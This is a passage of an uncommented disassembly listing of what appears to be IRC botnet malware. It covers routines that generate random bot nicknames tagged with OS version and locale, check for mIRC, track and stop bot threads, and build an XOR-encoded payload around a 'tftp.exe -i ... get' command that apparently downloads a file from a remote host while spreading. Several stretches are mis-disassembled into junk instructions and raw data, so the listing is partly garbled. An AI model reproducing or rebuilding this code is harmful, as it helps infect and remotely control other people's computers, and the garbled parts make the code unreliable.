jle short loc_408719
loc_4086F3: ; CODE XREF: seg000:00408717j
call sub_41DBA0
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_0 ; "%s%i"
push 1Ch
push edi
call sub_41D360
add esp, 14h
inc esi
cmp esi, ds:dword_43CC78
jl short loc_4086F3
loc_408719: ; CODE XREF: seg000:004086F1j
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40871E proc near ; CODE XREF: seg000:004067A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_4F1340 ; GetTickCount
push eax
call sub_41DB90
pop ecx
call sub_41DBA0
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, ds:dword_43CC78
test esi, esi
jle short loc_408761
loc_40874B: ; CODE XREF: sub_40871E+41j
call sub_41DBA0
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40874B
loc_408761: ; CODE XREF: sub_40871E+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40871E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, offset aPc ; "PC"
mov dword ptr [ebp-4], 100h
xor edi, edi
call ds:dword_4F1340 ; GetTickCount
push eax
call sub_41DB90
pop ecx
lea eax, [ebp-4]
push eax
push esi
call near ptr 3D0000h
sbb al, [ebp-41FA8A40h]
in al, dx
aaa
inc esp
add [edi], cl
mov esi, 59416A06h
loc_4087A6: ; CODE XREF: seg000:004087B1j
cmp eax, ecx
jnz short loc_4087AD
push 1
pop edi
loc_4087AD: ; CODE XREF: seg000:004087A8j
inc ecx
cmp ecx, 5Bh
jl short loc_4087A6
push 61h
pop ecx
loc_4087B6: ; CODE XREF: seg000:004087C1j
cmp eax, ecx
jnz short loc_4087BD
push 1
pop edi
loc_4087BD: ; CODE XREF: seg000:004087B8j
inc ecx
cmp ecx, 7Bh
jl short loc_4087B6
test edi, edi
jnz short loc_4087CC
mov esi, offset aPc_1 ; "PC"
loc_4087CC: ; CODE XREF: seg000:004087C5j
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41D360
xor esi, esi
add esp, 0Ch
cmp ds:dword_43CC78, esi
jle short loc_40880B
loc_4087E5: ; CODE XREF: seg000:00408809j
call sub_41DBA0
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_1 ; "%s%i"
push 1Ch
push edi
call sub_41D360
add esp, 14h
inc esi
cmp esi, ds:dword_43CC78
jl short loc_4087E5
loc_40880B: ; CODE XREF: seg000:004087E3j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call ds:dword_4F1340 ; GetTickCount
push eax
call sub_41DB90
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call ds:dword_4F1354 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset aS_29 ; "%s|"
push 1Ch
push edi
call sub_41D360
xor esi, esi
add esp, 10h
cmp ds:dword_43CC78, esi
jle short loc_408880
loc_40885A: ; CODE XREF: seg000:0040887Ej
call sub_41DBA0
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_2 ; "%s%i"
push 1Ch
push edi
call sub_41D360
add esp, 14h
inc esi
cmp esi, ds:dword_43CC78
jl short loc_40885A
loc_408880: ; CODE XREF: seg000:00408858j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset dword_4DF360
mov dword ptr [ebp-94h], 94h
call ds:dword_4F1358 ; GetVersionExA
call ds:dword_4F1340 ; GetTickCount
push eax
call sub_41DB90
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40890A
cmp dword ptr [ebp-8Ch], 0
jnz short loc_4088EA
cmp dword ptr [ebp-84h], 1
jnz short loc_4088DA
mov esi, offset a95 ; "95"
loc_4088DA: ; CODE XREF: seg000:004088D3j
cmp dword ptr [ebp-84h], 2
jnz short loc_408946
mov esi, offset aNt ; "NT"
jmp short loc_408946
; ---------------------------------------------------------------------------
loc_4088EA: ; CODE XREF: seg000:004088CAj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_4088FA
mov esi, offset a98 ; "98"
jmp short loc_408946
; ---------------------------------------------------------------------------
loc_4088FA: ; CODE XREF: seg000:004088F1j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_408941
mov esi, offset aMe_0 ; "ME"
jmp short loc_408946
; ---------------------------------------------------------------------------
loc_40890A: ; CODE XREF: seg000:004088C1j
cmp dword ptr [ebp-90h], 5
jnz short loc_408941
cmp dword ptr [ebp-8Ch], 0
jnz short loc_408923
mov esi, offset a2k ; "2K"
jmp short loc_408946
; ---------------------------------------------------------------------------
loc_408923: ; CODE XREF: seg000:0040891Aj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_408933
mov esi, offset aXp_0 ; "XP"
jmp short loc_408946
; ---------------------------------------------------------------------------
loc_408933: ; CODE XREF: seg000:0040892Aj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset a2k3 ; "2K3"
jz short loc_408946
loc_408941: ; CODE XREF: seg000:00408901j
; seg000:00408911j
mov esi, offset a???_0 ; "???"
loc_408946: ; CODE XREF: seg000:004088E1j
; seg000:004088E8j ...
mov edi, [ebp+8]
push esi
push offset aS_30 ; "[%s]|"
push 1Ch
push edi
call sub_41D360
xor esi, esi
add esp, 10h
cmp ds:dword_43CC78, esi
jle short loc_40898A
loc_408964: ; CODE XREF: seg000:00408988j
call sub_41DBA0
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_3 ; "%s%i"
push 1Ch
push edi
call sub_41D360
add esp, 14h
inc esi
cmp esi, ds:dword_43CC78
jl short loc_408964
loc_40898A: ; CODE XREF: seg000:00408962j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408990 proc near ; CODE XREF: sub_408A38+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call ds:dword_4F1340 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
mov esi, eax
cmp esi, 64h
jbe short loc_4089DF
push offset aMirc_0 ; "mIRC"
call ds:dword_451500
test eax, eax
mov eax, offset aM_0 ; "[M]"
jnz short loc_4089C8
mov eax, offset dword_4DF364
loc_4089C8: ; CODE XREF: sub_408990+31j
push eax
push esi
push offset aDS ; "[%d]%s"
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41D360
add esp, 14h
jmp short loc_408A04
; ---------------------------------------------------------------------------
loc_4089DF: ; CODE XREF: sub_408990+1Dj
push offset aMirc_1 ; "mIRC"
call ds:dword_451500
test eax, eax
mov eax, offset aM_1 ; "[M]"
jnz short loc_4089F8
mov eax, offset dword_4DF368
loc_4089F8: ; CODE XREF: sub_408990+61j
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41D260
pop ecx
pop ecx
loc_408A04: ; CODE XREF: sub_408990+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41AC70
pop ecx
cmp eax, 2
pop esi
jbe short loc_408A33
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41E710
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41D800
add esp, 18h
loc_408A33: ; CODE XREF: sub_408990+82j
mov eax, [ebp+arg_0]
leave
retn
sub_408990 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408A38 proc near ; CODE XREF: sub_402D46+7Fp
; sub_402EAE+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_43FAFC
loc_408A44: ; CODE XREF: sub_408A38+3Fj
cmp [ebp+arg_C], 0
jz short loc_408A5F
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41D900
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_408A69
; ---------------------------------------------------------------------------
loc_408A5F: ; CODE XREF: sub_408A38+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_408A69: ; CODE XREF: sub_408A38+25j
test eax, eax
jnz short loc_408A7B
add esi, 14h
inc edi
cmp esi, offset off_43FB74
jl short loc_408A44
jmp short loc_408A89
; ---------------------------------------------------------------------------
loc_408A7B: ; CODE XREF: sub_408A38+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call ds:off_43FB00[eax*4]
pop ecx
loc_408A89: ; CODE XREF: sub_408A38+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_408A9C
push [ebp+arg_0]
call sub_408990
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_408A9C: ; CODE XREF: sub_408A38+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_408A38 endp
; =============== S U B R O U T I N E =======================================
sub_408AA1 proc near ; CODE XREF: sub_408AC1+Ap
; sub_408B99+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41AC70
push [esp+8+arg_4]
mov esi, eax
call sub_41AC70
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_408AA1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408AC1 proc near ; CODE XREF: sub_408BB0+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_408AA1
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_408ADE
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_408ADE: ; CODE XREF: sub_408AC1+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_41AC70
push [ebp+arg_C]
mov esi, eax
call sub_41AC70
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov ds:dword_4438EC, eax
lea eax, [edi+1]
mov ds:dword_44390D, eax
lea eax, [edi+17h]
mov ds:dword_443905, eax
pop eax
push 74h
sub eax, edi
push offset dword_443888
push ebx
mov ds:dword_44391B, eax
call sub_41E840
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_41E840
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_41E840
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_41E840
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_41E840
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_41E840
add esi, edi
push 38h
add esi, ebx
push offset byte_443911
push esi
call sub_41E840
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_408AC1 endp
; =============== S U B R O U T I N E =======================================
sub_408B99 proc near ; CODE XREF: sub_408BB0+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_408AA1
push eax
call sub_408C1D
add esp, 0Ch
retn
sub_408B99 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408BB0 proc near ; CODE XREF: sub_40EC3D+7Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_408B99
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_408BD0
cmp eax, 0FFFFh
jbe short loc_408BD4
loc_408BD0: ; CODE XREF: sub_408BB0+17j
xor eax, eax
jmp short loc_408C19
; ---------------------------------------------------------------------------
loc_408BD4: ; CODE XREF: sub_408BB0+1Ej
push esi
push edi
push ebx
call sub_408AA1
add eax, 101h
push eax
call sub_41AE40
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_408AA1
pop ecx
pop ecx
push eax
push esi
call sub_408AC1
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408C38
push esi
mov edi, eax
call sub_41B8B0
add esp, 24h
mov eax, edi
pop esi
loc_408C19: ; CODE XREF: sub_408BB0+22j
pop edi
pop ebx
pop ebp
retn
sub_408BB0 endp
; =============== S U B R O U T I N E =======================================
sub_408C1D proc near ; CODE XREF: sub_408B99+Ep
; sub_408C38+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_408C26
inc ecx
loc_408C26: ; CODE XREF: sub_408C1D+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_408C1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408C38 proc near ; CODE XREF: sub_408BB0+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_408C54
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_408C54
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_408C54
cmp byte ptr [ebp+arg_C], 0
jnz short loc_408C57
loc_408C54: ; CODE XREF: sub_408C38+8j
; sub_408C38+Ej ...
inc [ebp+arg_C]
loc_408C57: ; CODE XREF: sub_408C38+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_408C7F
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_408C78
cmp al, 0Dh
jz short loc_408C78
cmp al, 5Ch
jz short loc_408C78
test al, al
jnz short loc_408C7F
loc_408C78: ; CODE XREF: sub_408C38+32j
; sub_408C38+36j ...
add [ebp+arg_C], 100h
loc_408C7F: ; CODE XREF: sub_408C38+28j
; sub_408C38+3Ej
push [ebp+arg_C]
call sub_408C1D
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_408C97
cmp eax, 0FFFFh
jbe short loc_408C9E
loc_408C97: ; CODE XREF: sub_408C38+56j
xor eax, eax
jmp loc_408D3C
; ---------------------------------------------------------------------------
loc_408C9E: ; CODE XREF: sub_408C38+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, ds:byte_4DF36C
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_408CCE
loc_408CB2: ; CODE XREF: sub_408C38+94j
mov al, [edx+edi]
xor al, bl
jz short loc_408CC5
cmp al, 0Ah
jz short loc_408CC5
cmp al, 0Dh
jz short loc_408CC5
cmp al, 5Ch
jnz short loc_408CC9
loc_408CC5: ; CODE XREF: sub_408C38+7Fj
; sub_408C38+83j ...
inc bl
xor edx, edx
loc_408CC9: ; CODE XREF: sub_408C38+8Bj
inc edx
cmp edx, ecx
jb short loc_408CB2
loc_408CCE: ; CODE XREF: sub_408C38+78j
cmp ecx, esi
mov ds:byte_4DF36C, bl
ja short loc_408CFA
push 15h
push offset loc_443870
push [ebp+arg_0]
mov ds:byte_44387D, cl
mov ds:byte_443881, bl
call sub_41E840
add esp, 0Ch
push 15h
jmp short loc_408D1B
; ---------------------------------------------------------------------------
loc_408CFA: ; CODE XREF: sub_408C38+9Ej
push 17h
push offset loc_443858
push [ebp+arg_0]
mov ds:word_443866, cx
mov ds:byte_44386B, bl
call sub_41E840
add esp, 0Ch
push 17h
loc_408D1B: ; CODE XREF: sub_408C38+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_408D37
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_408D29: ; CODE XREF: sub_408C38+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_408D29
loc_408D37: ; CODE XREF: sub_408C38+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_408D3C: ; CODE XREF: sub_408C38+61j
pop esi
leave
retn
sub_408C38 endp
; =============== S U B R O U T I N E =======================================
sub_408D3F proc near ; CODE XREF: seg000:004047DCp
; seg000:00404969p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_4521B8
loc_408D47: ; CODE XREF: sub_408D3F+18j
cmp byte ptr [eax], 0
jz short loc_408D5B
add eax, 234h
inc edi
cmp eax, offset dword_4DF1B8
jl short loc_408D47
jmp short loc_408DA6
; ---------------------------------------------------------------------------
loc_408D5B: ; CODE XREF: sub_408D3F+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_4521B8[esi]
push eax
call sub_41D800
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov ds:dword_4523B8[esi], eax
and ds:dword_4523BC[esi], 0
mov eax, [esp+8+arg_8]
and ds:dword_4523C0[esi], 0
mov ds:dword_4523C4[esi], eax
and ds:byte_4523D0[esi], 0
pop esi
loc_408DA6: ; CODE XREF: sub_408D3F+1Aj
mov eax, edi
pop edi
retn
sub_408D3F endp
; ---------------------------------------------------------------------------
word_408DAA dw 8B55h ; DATA XREF: seg000:00408082o
dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
dd 6CE8EC75h, 83000002h, 6A14C4h, 0FC7207E8h, 5E5FEBFFh
dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 44394C68h
dd 0C75FF00h, 0E80875FFh, 0FFFF8641h, 3314C483h, 21B8BEFFh
dd 3E800045h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
dd 0FE00858Dh, 7C68FFFFh, 50004439h, 14413E8h, 8D016A00h
dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFF85F9h
dd 8124C483h, 234C6h, 0FE814700h, 4DF1B8h, 5E5FB07Ch
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
sub_408E7A proc near ; CODE XREF: seg000:0040732Ep
; sub_408F08+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_408F02
cmp esi, 400h
jge short loc_408F02
imul esi, 234h
push edi
push ebx
push ds:dword_4523CC[esi]
lea edi, dword_4523CC[esi]
call near ptr 3D0000h
mov ch, 39h
pop ds
jz short loc_408EB2
push 1
pop ebp
loc_408EB2: ; CODE XREF: sub_408E7A+33j
mov [edi], ebx
lea edi, dword_4523C0[esi]
mov ds:dword_4523B8[esi], ebx
mov ds:dword_4523BC[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_408ED3
push eax
call sub_419367
pop ecx
loc_408ED3: ; CODE XREF: sub_408E7A+50j
mov [edi], ebx
lea edi, dword_4523C4[esi]
mov byte ptr ds:dword_4521B8[esi], bl
mov ds:byte_4523D0[esi], bl
push dword ptr [edi]
call ds:dword_451588
lea esi, dword_4523C8[esi]
mov [edi], ebx
push dword ptr [esi]
call ds:dword_451588
mov [esi], ebx
pop edi
loc_408F02: ; CODE XREF: sub_408E7A+Dj
; sub_408E7A+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_408E7A endp
; =============== S U B R O U T I N E =======================================
sub_408F08 proc near ; CODE XREF: sub_40132F+18p
; seg000:004072E0p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_4521B8
loc_408F14: ; CODE XREF: sub_408F08+2Aj
cmp byte ptr [esi], 0
jz short loc_408F25
push edi
call sub_408E7A
test eax, eax
pop ecx
jz short loc_408F25
inc ebx
loc_408F25: ; CODE XREF: sub_408F08+Fj
; sub_408F08+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4DF1B8
jl short loc_408F14
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_408F08 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408F3A proc near ; CODE XREF: seg000:00404836p
; seg000:004048A7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_4523BC
loc_408F4E: ; CODE XREF: sub_408F3A+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_408F70
test edi, edi
jle short loc_408F62
cmp [esi], edi
jz short loc_408F62
cmp ebx, edi
jnz short loc_408F70
loc_408F62: ; CODE XREF: sub_408F3A+1Ej
; sub_408F3A+22j
push ebx
call sub_408E7A
test eax, eax
pop ecx
jz short loc_408F70
inc [ebp+var_4]
loc_408F70: ; CODE XREF: sub_408F3A+1Aj
; sub_408F3A+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4DF3BC
jl short loc_408F4E
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_408F3A endp
; =============== S U B R O U T I N E =======================================
sub_408F87 proc near ; CODE XREF: seg000:004047ADp
; seg000:004048C9p ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_4523B8
loc_408F8E: ; CODE XREF: sub_408F87+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_408F97
inc eax
loc_408F97: ; CODE XREF: sub_408F87+Dj
add ecx, 234h
cmp ecx, offset dword_4DF3B8
jl short loc_408F8E
retn
sub_408F87 endp
; =============== S U B R O U T I N E =======================================
sub_408FA6 proc near ; CODE XREF: seg000:00407B49p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_4523B8
loc_408FB0: ; CODE XREF: sub_408FA6+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_408FC9
add ecx, 234h
inc edx
cmp ecx, offset dword_4DF3B8
jl short loc_408FB0
pop esi
retn
; ---------------------------------------------------------------------------
loc_408FC9: ; CODE XREF: sub_408FA6+10j
mov eax, edx
pop esi
retn
sub_408FA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408FCD proc near ; CODE XREF: seg000:00408216p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_408FE6
push [ebp+arg_1C]
call sub_41D560
pop ecx
loc_408FE6: ; CODE XREF: sub_408FCD+Ej
push eax
push [ebp+arg_18]
call sub_408F3A
pop ecx
test eax, eax
pop ecx
jle short loc_409012
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41D260
add esp, 14h
jmp short loc_40902C
; ---------------------------------------------------------------------------
loc_409012: ; CODE XREF: sub_408FCD+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41D260
add esp, 10h
loc_40902C: ; CODE XREF: sub_408FCD+43j
cmp [ebp+arg_C], 0
jnz short loc_40904C
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 14h
loc_40904C: ; CODE XREF: sub_408FCD+63j
lea eax, [ebp+var_200]
push eax
call sub_4161A7
pop ecx
leave
retn
sub_408FCD endp
; =============== S U B R O U T I N E =======================================
sub_40905B proc near ; CODE XREF: sub_402D46+159p
; seg000:00409688p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov ds:dword_4523CC[eax], ecx
mov ds:dword_4523B8[eax], ecx
mov ds:dword_4523BC[eax], ecx
mov ds:dword_4523C0[eax], ecx
mov ds:dword_4523C4[eax], ecx
mov ds:dword_4523C8[eax], ecx
mov byte ptr ds:dword_4521B8[eax], cl
mov ds:byte_4523D0[eax], cl
retn
sub_40905B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409098 proc near ; CODE XREF: seg000:0040850Ap
; sub_4091C6+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_4090A2: ; CODE XREF: sub_409098+68j
mov cl, [esi]
test cl, cl
jz short loc_409102
cmp eax, 1
jnz short loc_409102
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_409102
cmp cl, 2Ah
jz short loc_4090E9
cmp cl, 3Fh
jz short loc_4090CC
cmp cl, 5Bh
jz short loc_4090D1
xor eax, eax
cmp cl, dl
setz al
loc_4090CC: ; CODE XREF: sub_409098+26j
inc [ebp+arg_4]
jmp short loc_4090FC
; ---------------------------------------------------------------------------
loc_4090D1: ; CODE XREF: sub_409098+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40912E
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_4090FC
; ---------------------------------------------------------------------------
loc_4090E9: ; CODE XREF: sub_409098+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4091C6
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_4090FC: ; CODE XREF: sub_409098+37j
; sub_409098+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_4090A2
; ---------------------------------------------------------------------------
loc_409102: ; CODE XREF: sub_409098+Ej
; sub_409098+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_409112
cmp eax, 1
jnz short loc_409129
inc esi
mov [ebp+arg_0], esi
jmp short loc_409102
; ---------------------------------------------------------------------------
loc_409112: ; CODE XREF: sub_409098+6Dj
cmp eax, 1
jnz short loc_409129
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_409129
cmp byte ptr [esi], 0
jnz short loc_409129
push 1
pop eax
jmp short loc_40912B
; ---------------------------------------------------------------------------
loc_409129: ; CODE XREF: sub_409098+72j
; sub_409098+7Dj ...
xor eax, eax
loc_40912B: ; CODE XREF: sub_409098+8Fj
pop esi
pop ebp
retn
sub_409098 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40912E proc near ; CODE XREF: sub_409098+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40914F
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40914F: ; CODE XREF: sub_40912E+19j
push ebx
push esi
loc_409151: ; CODE XREF: sub_40912E+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40915F
cmp [ebp+var_4], eax
jnz short loc_4091AB
loc_40915F: ; CODE XREF: sub_40912E+2Aj
test edi, edi
jnz short loc_4091A0
cmp bl, 2Dh
jnz short loc_409194
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_409194
cmp al, 5Dh
jz short loc_409194
cmp [ebp+var_4], edi
jnz short loc_409194
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_4091A0
cmp bl, al
jg short loc_4091A0
push 1
mov [edx], esi
pop edi
jmp short loc_4091A0
; ---------------------------------------------------------------------------
loc_409194: ; CODE XREF: sub_40912E+38j
; sub_40912E+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_4091A0
push 1
pop edi
loc_4091A0: ; CODE XREF: sub_40912E+33j
; sub_40912E+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_409151
; ---------------------------------------------------------------------------
loc_4091AB: ; CODE XREF: sub_40912E+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_4091B8
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_4091B8: ; CODE XREF: sub_40912E+82j
cmp edi, eax
jnz short loc_4091C1
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_4091C1: ; CODE XREF: sub_40912E+8Cj
mov eax, edi
pop edi
leave
retn
sub_40912E endp
